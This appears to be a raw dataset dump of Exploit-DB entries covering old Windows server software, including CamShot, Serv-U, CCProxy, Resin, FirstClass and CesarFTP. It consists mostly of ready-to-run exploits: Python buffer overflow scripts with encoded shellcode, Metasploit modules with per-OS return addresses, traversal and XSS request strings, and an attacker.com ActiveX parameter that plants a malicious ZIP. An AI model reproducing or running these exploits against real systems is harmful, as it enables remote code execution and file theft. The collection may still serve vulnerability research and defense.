deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11272
Description: CamShot 1.2 - Overwrite (SEH)
Type: remote
Platform: windows
Date: 2010-01-27
Author: tecnik

Exploit:
# CamShot SEH overwrite by tecnik

import socket, sys

if len(sys.argv)!=2:
    print "Usage: camshot.py <target>"
    exit()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],80))

print "Sending Exploit to:" + sys.argv[1]

# GET request + overflow string
request  ="GET /"
request +="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# short jump over SE Handler Addr overwrite
request +="\x90\x90\xEB\x07"
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]
request +="\x9A\xF7\xA9\x61"
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA" 

# ALPHA3 encoded (lowercase ascii with EDX base) Metasploit shellcode (Exec calc.exe)
request +="j314d34djq34djk34d1421r11r7j314d34dj234dkmr502dr5o0d25usz85561k20213o[PII_REDACTED]3o2656e327e79ld1303l2k88gnd0x3xmxlk856c7cn40k049kle6570ob0xkk9d3901ok5d3dnx5c0emxn831o57cox6x5d4b5dng6fkg322532l911l4of4k8k3x89ldmc151xj953nfkx6f333c19l0me645g1254okmel505023co30eo87fm178jg30m8n2l14g4c8el342997b5x9xn049845xok4415503g3gn41fmdlb6fnk629cjkk2j59878n23e413881nb9c1fme241gl1nx0e711369ne90j13e0b120dke581d42121co07c83k2lele4x5k3d7go84d9c015x038d32l5o36g088c0b930229j9oe7x332bjg8f3825nk422081888clx9g0k3cl5j8kf7139197"


request +=" HTTP/1.1\r\n"
request +="HOST: 127.0.0.1\r\n\r\n"

s.send(request)

print "Done."

s.close()
Exploit-DB #20224
Description: CamShot WebCam 2.6 Trial - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-09-15
Author: SecuriTeam

Exploit:
source: https://www.securityfocus.com/bid/1685/info

CamShot is a Windows 95/98/2000/NT web server that serves up web pages containing time stamped images captured from a video camera. The images can be viewed from anywhere on the network with a web browser. CamShot works with Video For Windows compatible video equipment. Certain trial versions of this software contain a possibly exploitable remote buffer overflow by way of a overly long user supplied 'Authorization' password. 

It is not known if supported commercial versions of this software contain the same vulnerability.

Example:

GET / HTTP/1.1<enter>
Authorization: Basic ['a'x325]<enter><enter>
Exploit-DB #20019
Description: Cart32 3.0 - 'expdate' Administrative Information Disclosure
Type: remote
Platform: windows
Date: 2000-05-03
Author: cassius

Exploit:
source: https://www.securityfocus.com/bid/1358/info

By appending the string "/expdate" to a request for the cart32.exe executable, (http:&nbsp;//target/cgi-bin/cart32.exe/expdate) an attacker can access an error message followed by a debugging page containing the server variables, the Cart32 administration directory and possibly the contents of the cgi-bin.

http:&nbsp;//target/cgi-bin/cart32.exe/expdate
Exploit-DB #20461
Description: Cat Soft Serv-U FTP Server 2.4/2.5 - FTP Directory Traversal
Type: remote
Platform: windows
Date: 2000-12-05
Author: Zoa_Chien

Exploit:
source: https://www.securityfocus.com/bid/2052/info

FTP Serv-U is an internet FTP server from CatSoft.

Authenticated users can gain access to the ftproot of the drive where Serv-U FTP has been installed. Users that have read, write, execute and list access in the home directory will have the same permissions to any file which resides on the same partition as the ftproot, once a user is in the home directory they can successfully transfer any files using specially crafted GET requests. All hidden files will be revealed even if the 'Hide hidden files' feature is on.

Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host. 

ftp> cd \..%20.
250 Directory changed to /..

ftp> cd %20..%20%20../winnt 250 Directory changed to /c:/TOMB/../WINNT
ftp> put autoexec.bat %20..%20%20../winnt/2.bat
200 PORT Command successful.
150 Opening ASCII mode data connection for 2.bat.
226 Transfer complete.
ftp> dir \..%20.\..%20.\winnt\
Exploit-DB #19743
Description: Cat Soft Serv-U FTP Server 2.5/a/b (Windows 95/98/2000/NT 4.0) - Shortcut
Type: remote
Platform: windows
Date: 2000-02-04
Author: Ussr Labs

Exploit:
Cat Soft Serv-U 2.5/a/b,Windows 2000 Advanced Server/2000 Datacenter Server/2000 Professional/2000 Server/2000 Terminal Services/95/98/NT 4.0/NT Enterprise Server 4.0/NT Server 4.0/NT Terminal Server 4.0/NT Workstation 4.0 Shortcut Vulnerability

source: https://www.securityfocus.com/bid/970/info

The Windows API that handles shortcut navigation is susceptible to buffer overflow attacks. The API, "SHGetPathFromIDList" will parse a shortcut file (.lnk) to find the target file, directory or URL. A specifically malformed link will cause any program using the API to follow that shortcut to crash.

NOTE: While this vulnerability listing, as well as the exploit and the original USSR advisory only mention Serv-U FTP server, any Windows, Microsoft, or 3rd party program that uses the API could be vulnerable to this.

dserv2.5b.exe:
Executable exploit for Serv-U FTP server

dserv25b.zip:
Source code for above exploit

link.bro:
Example of a malformed shortcut file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-2.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-3.bro
Exploit-DB #30038
Description: Caucho Resin 3.1 - '/web-inf' Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2007-05-15
Author: Derek Abdine

Exploit:
source: https://www.securityfocus.com/bid/23985/info
 
Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.
 
Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.
 
Resin 3.1.0 is vulnerable; other versions may also be affected.
 
NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 

http://www.example.com:8080/%20..\web-inf
Exploit-DB #30037
Description: Caucho Resin 3.1 - Encoded Space Request Full Path Disclosure
Type: remote
Platform: windows
Date: 2007-05-15
Author: Derek Abdine

Exploit:
source: https://www.securityfocus.com/bid/23985/info

Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.

Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.

Resin 3.1.0 is vulnerable; other versions may also be affected.

NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 

http://www.example.com:8080/%20
Exploit-DB #4360
Description: CCProxy 6.2 - Telnet Proxy Ping Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2007-09-03
Author: Patrick Webster

Exploit:
##
# $Id: ccproxy_telnet_ping.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
			'Description'	=> %q{
					This module exploits the YoungZSoft CCProxy <= v6.2 suite
				Telnet service. The stack is overwritten when sending an overly
				long address to the 'ping' command.
			},
			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 9179 $',
			'References'    =>
				[
					[ 'CVE', '2004-2416' ],
					[ 'OSVDB', '11593' ],
					[ 'BID', '11666 ' ],
					[ 'URL', 'http://milw0rm.com/exploits/621' ],
				],
			'Privileged'		=> false,
			'DefaultOptions'	=>
				{
					'EXITFUNC' 	=> 'thread',
				},
			'Payload' =>
				{
					'Space'		=> 1012,
					'BadChars' 	=> "\x00\x07\x08\x0a\x0d\x20",
				},
			'Platform' => ['win'],
			'Targets' =>
				[
					# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
					[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
					[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
					[ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
					[ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
					[ 'Windows XP SP2 - English',	    { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
				],
			'DisclosureDate' => 'Nov 11 2004'))

		register_options(
			[
				Opt::RPORT(23),
			], self.class)
	end

	def check
		connect
		banner = sock.get_once(-1,3)
		disconnect

		if (banner =~ /CCProxy Telnet Service Ready/)
			return Exploit::CheckCode::Appears
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
		sock.put(sploit + "\r\n")

		handler
		disconnect
	end

end
Exploit-DB #5397
Description: CDNetworks Nefficient Download - 'NeffyLauncher.dll' Code Execution
Type: remote
Platform: windows
Date: 2008-04-07
Author: Simon Ryeo

Exploit:
Title: CDNetworks Nefficient Download(NeffyLauncher.dll) Vulnerabilities
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote Code Execution
Vulnerable Systems: MS Windows Systems
Version: NeffyLauncher 1.0.5 {AA07EBD2-EBDD-4BD6-9F8F-114BD513492C}
Solution: Upgrade the vendor's patch
Vendor's Homepage: http://www.cdnetworks.com
Reference: How to stop an ActiveX control from running in Internet Explorer
          http://support.microsoft.com/kb/240797/ko
          http://support.microsoft.com/kb/240797/en-us
History:
  - 02.27.2008: Initiate notify
  - 03.06.2008: The vendor patched
  - After: The vendor are applying the patch to their customers.

Description:
Neffycient Download is a ActiveX control used to download and to upgrade
such as game install files through HTTP, FTP, etc. It has two
vulnerabilities.
1st, a attacker can copy a malicious file to any path such as start program
folder(C:\Documents and Settings\All Users\Start Menu\Programs\Startup).
2nd, a attacker can issue keycodes which are used to restrict execution on
other domains.

Object:
I notify this vulnerability not to promote abnormal uses but to make
a software more secure. This vulnerability was patched by the vendor's
positive effort. I hope this information helps many people who try
to study security and to develop an application.

1. Remote Code Execution
First of all, we must have write permission on a board in a web site used
this ActiveX or obtain a valid keycode which is correct to your site.
An Attacker who has a valid keycode can make a expolit by modifying
HttpSkin,
SkinPath's values. Malicious files which is on attacker's site must
be compressed as ZIP file.
For instance. The below modification copies abnormal files to Windows's
root directory.
<PARAM NAME="HttpSkin" VALUE="http://www.attacker.com/maliciousFiles.zip">
<PARAM NAME="SkinPath" VALUE="../../../../">

In this way an attacker can modify SkinPath's value to All Users's Start
Program Folder. Then he can execute his malicious program when the user
restarts his computer.

2. Generating a KeyCode Value
An attacker can make the keycode generator by debugging this ActiveX
control. A keycode's value has two meaning. First two digits represent
the domain's length(hexadecimal).
Next five(or more) digits are valuable numbers to calculate a domain.
The keycode check the procedure of this ActiveX control likes below.
It calculates the keycode's value and returns four bytes as a result.
Next it starts the domain's calculation and returns four bytes.
Finally, it compares with these four bytes to check whether the site is
valid.
I made a PoC using inline assembly and C. But it doesn't open to the public
because of the vendor's request. (Just refer above descriptions.)

# milw0rm.com [2008-04-07]
Exploit-DB #23871
Description: Centrinity FirstClass HTTP Server 5/7 - 'TargetName' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-03-22
Author: Richard Maudsley

Exploit:
source: https://www.securityfocus.com/bid/9950/info

It has been reported that FirstClass HTTP Server may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'TargetName' parameter of 'Upload.shtml' script.

Since this vulnerability affects the web server there is a possibility of an attacker crossing domains if multiple domains are hosted on one web server. The vendor has reported that this vulnerability only affects the 'standard' template set. The 'webmail' and 'mobile' template sets do not contain the 'Upload.shtml' script.

Centrinity FirstClass versions 7.1 and prior may be vulnerable to this issue.

http://www.example.com/.Templates/Commands/Upload.shtml?TargetName=<script>alert('XSS')</script>
Exploit-DB #22504
Description: Cerberus FTP Server 2.1 - Information Disclosure
Type: remote
Platform: windows
Date: 2003-04-16
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7369/info

It has been reported that Cerberus FTP Server is prone to an information disclosure weakness.

The problem exists in the way the FTP server handles the authentication procedure. An attacker may exploit a weakness in error handling to disclose valid usernames.

It should be noted that although this weakness was reported to affect Cerberus FTP server version 2.1, previous versions might also be affected.

c:\ ftp www.example.com
User (X.X.X.X:(none)): Not_Valid_User
530 Unknown user
***
Login failed.
Valid User ( The Username Is Hack )
----------
c:\ ftp www.example.com
User (X.X.X.X:(none)): Hack
331 User Hack Ok, password please
***
Password:
Exploit-DB #1906
Description: CesarFTP 0.99g - 'MKD' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-06-12
Author: h07

Exploit:
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07@interia.pl]
#Date: 10.06.2006

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

def intel_order(i):
    a = chr(i % 256)
    i = i >> 8
    b = chr(i % 256)
    i = i >> 8
    c = chr(i % 256)
    i = i >> 8
    d = chr(i % 256)
    str = "%c%c%c%c" % (a, b, c, d)
    return str

host = "127.0.0.1"
port = 21
user = "h07"
password = "open"
EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()

#EoF 

# milw0rm.com [2006-06-12]
Exploit-DB #1915
Description: CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (1)
Type: remote
Platform: windows
Date: 2006-06-15
Author: c0rrupt

Exploit:
##
#---ORIGINAL CREDITS TO h07 FOR FINDING THIS VULN---
# Ported to metasploit by c0rrupt
# ~ f34r.us ~
##

package Msf::Exploit::cesarftp_mkd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'CesarFTP 0.99g  Buffer Overflow',
	'Version'  => '$Revision: 1.3 $',
	'Authors'  => [ 'c0rrupt [at] f34r [dot] us', ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'seh' },
	'UserOpts'  =>
	  {
		'RHOST' =>  [1, 'ADDR', 'The target address'],
		'RPORT' =>  [1, 'PORT', 'The target port', 21],
		'USER'  =>  [1, 'USER', 'Login name'],
		'PASS'  =>  [1, 'PASS', 'Password'],
	  },

	'Payload'  =>
	  {
		'Space' => 325,
		'BadChars'  => "\x00\x09\x0a\x0d\x22\x25\x26\x27\x2f\x3a\x3e\x3f\xFF\x5c",
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
	This module exploits the buffer overflow found in the MKD command
	in CesarFTP 0.99g. It is required that the user be properly logged in
	before the exploit can be peformed.
}),

	'Refs'  =>
	  [
		['URL',   'http://www.milw0rm.com/exploits/1906']
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
			['Windows XP SP2 English',       0x7746F114 ],	# comctl32	
			['Windows XP SP0/SP1 English',   0x776606af ],
			['Windows 2003 server sp0/xp sp1 English',  0x77798428 ],
			['Windows 2003 server SP1 English',  0x7caa9618 ],
			['Windows 2000 SP4 English',  0x78344dd3 ],
	  ],

	'Keys'  => ['ceasarftp'],

	'DisclosureDate' => 'June 12 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];
	my $user		= $self->GetVar('USER');
	my $pass		= $self->GetVar('PASS');

	my $buf = "MKD " . "\n"x671 . "A"x3 . pack('V', $target->[1]) .  $shellcode . "\x0d\x0a";

#pack('V', $target->[1]) 

#"\x23\x79\xAB\x71"

$self->PrintLine(sprintf("[*] Trying to exploit target %s ", $target->[0], ));

	my $sock = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,

	  );

	if ($sock->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
		return;
	}
	
my $r = $sock->Recv(-1, 20);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

$self->PrintLine(sprintf("[*] Sending login credentials"));
$sock->Send("USER $user" . "\x0d\x0a"); 
sleep(1);

$sock->Send("PASS $pass" . "\x0d\x0a"); 
sleep(1);
$self->PrintLine(sprintf("[*] Sending evil request"));

$sock->Send($buf);	
$self->PrintLine(sprintf("[*] Exploit complete"));	

	
	return;
}

# milw0rm.com [2006-06-15]
Exploit-DB #16713
Description: CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (2)
Type: remote
Platform: windows
Date: 2011-02-23
Author: Metasploit

Exploit:
##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.

				You must have valid credentials to trigger this vulnerability. Also, you
				only get one chance, so choose your target carefully.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11799 $',
			'References'     =>
				[
					[ 'CVE', '2006-2961'],
					[ 'OSVDB', '26364'],
					[ 'BID', '18586'],
					[ 'URL', 'http://secunia.com/advisories/20574/' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
					'Compat'        =>
						{
							'SymbolLookup' => 'ws2ord',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
					[ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
					[ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
					#[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
					#[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
					[ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
				],
			'DisclosureDate' => 'Jun 12 2006',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /CesarFTP 0\.99g/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded

		print_status("Trying target #{target.name}...")

		send_cmd( ['MKD', sploit] , false)

		handler
		disconnect
	end

end